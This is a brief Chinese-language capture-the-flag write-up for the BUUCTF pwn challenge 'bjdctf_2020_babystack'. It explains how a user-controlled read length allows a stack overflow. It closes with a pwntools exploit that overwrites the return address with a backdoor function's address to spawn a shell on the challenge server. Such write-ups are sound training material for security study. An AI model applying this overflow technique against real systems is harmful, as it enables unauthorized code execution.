[BUUCTF]PWN18——bjdctf_2020_babystack
步骤:
例行检查,64位,开启了nx保护
试运行一下程序
大概了解程序的执行过程后用64位ida打开,shift+f12先查看一下程序里的字符串
看到/bin/sh双击跟进,ctrl+x找到了后门函数,shell_addr=0x4006e6
根据试运行的回显,找到了输入点
一个简单的小程序,buf读入的数据长度由我们输入的nbytes来控制,所以这里可以利用它来溢出
EXP
from pwn import*
r=remote('node3.buuoj.cn',28532)
shell_addr=0x4006e6
r.sendline('100')
payload='a'*(0x10+8)+p64(shell_addr)
r.sendline(payload)
r.interactive()